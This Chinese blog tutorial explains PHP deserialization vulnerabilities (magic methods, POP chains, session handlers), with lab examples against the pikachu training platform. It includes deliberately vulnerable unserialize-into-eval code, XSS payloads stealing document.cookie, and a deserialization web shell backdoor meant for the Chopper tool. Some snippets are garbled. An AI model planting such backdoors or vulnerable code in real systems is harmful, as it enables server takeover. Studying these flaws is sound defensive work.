php反序列化原理漏洞

1、 漏洞简介

PHP 反序列化漏洞是指在 PHP 代码中存在的对用户输入数据进行反序列化操作时,未对输入数据进行充分验证和过滤,导致攻击者可以构造恶意的序列化数据,从而在服务器端执行任意代码或进行其他恶意操作的安全漏洞

2、 漏洞影响范围

影响范围可能包括但不限于以下几个方面:

  1. 服务器端应用程序:PHP 反序列化漏洞可能导致服务器端应用程序受到攻击,攻击者可以执行任意代码、获取敏感信息、修改数据等。

  2. 用户数据安全:攻击者可以通过构造恶意的序列化数据,将恶意代码注入到用户提交的数据中,从而在服务器端执行任意代码,可能导致用户数据泄露或被篡改。

  3. 服务器安全:PHP 反序列化漏洞可能导致服务器本身受到攻击,攻击者可以通过执行任意代码获取服务器权限,进一步入侵其他系统或进行其他恶意活动。

3、 漏洞详解

3.1 序列化

将对象的状态信息转化为可存储或传输的形式

1.表达方式

class Test
{
    public $flag = "flag{*****}";
    public $name = "lang";
    public $age = 10;
}
​
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhnag";
$test1->age = 20;
​
// 序列化
echo serialize($test1);
​
// out :O:4:"Test":2:{s:4:"flag";b:1;s:4:"name";s:5:"zhnag";}

2.魔术方法

  • serialize() 函数会检查类中是否存在一个魔术方法 sleep()。如果存在,sleep()方法会先被调用,然后才执行序列化操作。

  • 可以在sleep()方法里决定哪些属性可以被序列化。如果没有sleep()方法则默认序列化所有属性

<?php
class Test
{
    public $flag = "flag{*****}";
    public $name = "lang";
    public $age = 10;
​
    // __sleep() 方法决定哪些属性可以被序列化
    public function __sleep()
    {
        return array('flag', 'name');
    }
}
​
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhnag";
$test1->age = 20;
​
// 序列化
echo serialize($test1);
​
// out :O:4:"Test":2:{s:4:"flag";b:1;s:4:"name";s:5:"zhnag";}
​
?>

3.2 访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同

<?php
class Test
{
    // 访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同
    public $flag = "flag{*****}";
    protected $name = "lang";
    private $age = 10;
​
    // __sleep() 方法决定哪些属性可以被序列化
    public function __sleep()
    {
        return array('flag', 'name', 'age');
    }
}
​
$test1 = new Test();
$test1->flag = true;
// 保护和私有属性不能改变
// $test1->name = "zhnag";
// $test1->age = 20;
​
​
// protected属性被序列化的时候属性值会变成 %00*%00属性名  %00*%00flag
// private属性被序列化的时候属性值会变成 %00类名%00属性名  %00Test%00name
// %00为空白符,空字符也有长度,一个空字符长度为 1
​
// 序列化
echo serialize($test1);
// O:4:"Test":3:{s:4:"flag";b:1;s:7:"*name";s:4:"lang";s:9:"Testage";i:10;}
//  O:4:"Test":3:{s:4:"flag";b:1;s:7:"%00*%00name";s:4:"lang";s:9:"%00Test%00age";i:10;}
?>

3.3 反序列化

1.表达方式

反序列化函数 unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去

​
class Test
{
    public $flag = "flag{*****}";
    public $name = "lang";
    public $age = 10;
}
​
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhnag";
$test1->age = 20;
​
// 反序列化
$str = serialize($test1);
// 反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
var_dump(unserialize($str));
​
// output
​
// object(Test)#2 (3) { ["flag"]=> bool(true) ["name"]=> string(5) "zhnag" ["age"]=> int(20) }
​
/*
​
object(Test)#2 (3) {
  ["flag"]=>
  bool(true)
  ["name"]=>
  string(5) "zhnag"
  ["age"]=>
  int(20)
}
​
*/
​
class test
{
    public $a = 'langlang';
    protected $b = 666;
    private $c = false;
​
    public function displayVariable()
    {
        echo $this->a;
    }
}
$d = new test();
// var_dump($d)
// 序列化
// echo serialize($d);
$a = 'O:4:"test":3:{s:1:"a";s:4:"lang";s:4:"%00*%00b";i:888;s:7:"%00test%00c";b:0;}';
// 解码
$x = urldecode($a);
// 反序列化
// var_dump(unserialize($x));
$c = unserialize($x);
$c->displayVariable();
// echo urlencode($d)
// $a = urlencode($d);
// $b = unserialize(urldecode($a));
​
// var_dump($b)

2.魔术方法


class Test
{
    public $flag = "flag{*****}";
    public $name = "lang";
    public $age = 10;

    /*

    与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法
    如果存在则会先调用__wakeup()方法,再进行序列化

    可以在__wakeup()方法中对属性进行初始化、赋值或者改变

    */

    public function __wakeup()
    {
        $this->flag = "no flag";
    }
}

$test1 = new Test();
$test1->flag = true;
$test1->name = "zhagsan";
$test1->age = 20;

// 反序列化
$str = serialize($test1);
// 反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
echo '<pre>';
var_dump(unserialize($str));

// output
/*
object(Test)#2 (3) {
  ["flag"]=>
  string(7) "no flag"
  ["name"]=>
  string(7) "zhagsan"
  ["age"]=>
  int(20)
}

*/

3.4 反序列化 POP 链

  1. 能控制的数据就是对象中的各个属性值

  2. 漏洞利用方法“面向属性编程”,完成类与类之间的调用

  3. 组件调用组件,其实就是魔术方法(wakeup(),sleep())

3.5 漏洞触发条件

  1. unserialize 函数的参数

  2. 变量可控

  3. php 文件中存在可利用的类

  4. 类中有魔术方法

3.6 魔术方法

        // 常见的几个魔法函数:
        __construct()当一个对象创建时被调用
​
        __destruct()当一个对象销毁时被调用
​
        __toString()当一个对象被当作一个字符串使用
​
        __sleep() 在对象在被序列化之前运行
​
        __wakeup()将在序列化之后立即被调用
​
        // 1. 漏洞举例:
​
        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);
​
        // 2. 构造对对象
        class S
        {
            var $test = "<script>alert(document.cookie)</script>";
        }
        $t = new S();
        echo serialize($t);
​
        // payload:O:1:"S":1:{s:4:"test";s:29:"alert(document.cookie)</script>";}

而在反序列化时,如果反序列化对象中存在魔法函数,使用 unserialize()函数同时也会触发。这样,一旦我们能够控制 unserialize()入口,那么就可能引发对象注入漏洞

3.7 测试

 构造序列化数据:

class S{
  var $test="<script>alert('php')</script>";
}
$t=new S();
echo serialize($t);
// 序列化后的内容
// O:1:"S":1:{s:4:"test";s:29:"";}
// 查看源码,脚本在序列化内容里面
// O:1:"S":1:{s:4:"test";s:29:"<script>alert('php')</script>";}
// 平台测试

测试结果:

 

  • _destruct() 当一个对象被销毁时被调用

class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
$obj = new Example();
$obj->var='phpinfo()';
var_dump(serialize($obj));
// O:7:"Example":1:{s:3:"var";s:9:"phpinfo()";}
​

 连菜刀、反序列化免杀后门

​
class A
{
    var $test = "demo";
    function __destruct()
    {
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test) + 1;
// 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$pp = "O:1:\"A\":1:{s:4:\"test\";s:" . $len . ":\"" . $test . ";\";}";
// 反序列化同时触发_destruct函数
$test_unser = unserialize($pp);
​
// 以上代码相当于一行代码
<?php @eval($_POST['test']); ?>
​

 

连接菜刀

 

 

  • _toString() 如果在代码审计中有反序列化点,但是在原本的代码中找不到 pop 链该如何? N1CTF 有一个无 pop 链的反序列化的题目,其中就是找到 php 内置类来进行反序列化 (1)xss error exception 类 测试代码:

<?php
$a = unserialize($_GET['y']);
// 仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化
echo $a;
?>

exp:

// Error
$a = new Error("<script>alert('xxxphp')</script>");
// Exception
// $a = new Error("<script>alert('xxxphp')</script>");
echo urlencode(serialize($a));
echo

成功插入 xss,并执行代码

 

3.8 PHP 中 Session 反序列化

1.存储机制 默认

<?php
session_start();      // session_start()会创建新会话或者重用现有会话
$_SESSION['name'] = 'spoock';
var_dump();
?>
​

2.php_serialize

<?php
ini_set('session.serialize_handler', 'php_serialize');   // 设置序列化引擎使用php_serialize
session_start();       // 启动新会话或者重用现有会话
$_SESSION['name'] = 'spoock';
var_dump();
?>

3.php_binary

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

4.Session 漏洞利用

class Test{
    var $func="";
    function __construct(){
        $this->func="phpinfo()";
    }
    function __wakeup(){
        eval($this->func);
    }
​
}
unserialize($_GET['a'])

在 unserialize($_GET['a'])行对传入的参数进行了反序列化。我们可以通过传入一个特定的字符串,反序列化为 Test 的一个示例,那么就可以执行 eval()方法。我们访问 http://pikachu/vul/unserilization/sessions.php?a=O:4:%22Test%22:1:{s:4:%22func%22;s:14:%22echo%20%22spoock%22;%22;} 。

最后页面输出的就是 spoock,说明最后执行了我们定义的 echo “spoock”;方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值